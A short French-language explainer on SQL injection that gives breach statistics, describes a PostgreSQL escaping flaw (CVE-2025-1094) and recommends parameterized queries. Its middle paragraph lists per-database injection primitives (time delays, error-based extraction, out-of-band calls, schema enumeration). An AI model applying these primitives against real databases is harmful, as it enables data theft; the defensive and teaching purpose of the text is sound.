Le DBIR 2024 de Verizon attribuait 26 % de toutes les violations de données en partie aux attaques sur les applications web, avec l'injection SQL comme vecteur principal. CWE-89 se classe #3 au MITRE/CISA CWE Top 25 Most Dangerous Weaknesses (2024). La CISA a ajouté 4 CVE d'injection SQL au catalogue KEV en 2024. Aikido Security a trouvé des injections SQL dans 6,7 % de tous les paquets open-source analysés.
CVE-2025-1094 (CVSS 8.1) affecte PostgreSQL 13–17 avant les versions mineures corrigées. Les fonctions de citation PQescapeLiteral(), PQescapeIdentifier() et PQescapeString() échouent à neutraliser l'injection quand l'entrée contient des caractères qui échouent à la validation d'encodage. Une combinaison spécifique d'encodage multi-octets (BIG5 + EUC_TW ou MULE_INTERNAL) effondre l'échappement des guillemets, rendant du code utilisant des APIs PostgreSQL 'sûres' toujours injectable. Signalé par Stephen Fewer chez Rapid7 et publié en février 2025.
Différences clés par base de données : MySQL utilise SLEEP(N) pour le délai temporel, EXTRACTVALUE pour les erreurs, CONCAT() pour les chaînes, # ou -- pour les commentaires. PostgreSQL utilise pg_sleep(N), CAST en int pour les erreurs, || pour les chaînes. MSSQL utilise WAITFOR DELAY '0:0:N', CONVERT pour les erreurs, + pour les chaînes. Oracle utilise dbms_pipe.receive_message pour les délais, UTL_HTTP pour l'OOB, || pour les chaînes, requiert FROM DUAL. SQLite utilise randomblob() pour les délais basés sur le CPU, sqlite_master pour l'énumération du schéma.
Les requêtes paramétrées. OWASP classe explicitement l'échappement comme 'fortement déconseillé' comme défense principale. Les attaques par encodage (CVE-2025-1094), l'injection du second ordre et l'injection d'identifiants ne peuvent pas être traitées par l'échappement. Les requêtes paramétrées séparent le code et les données au niveau du protocole — la seule défense universellement fiable.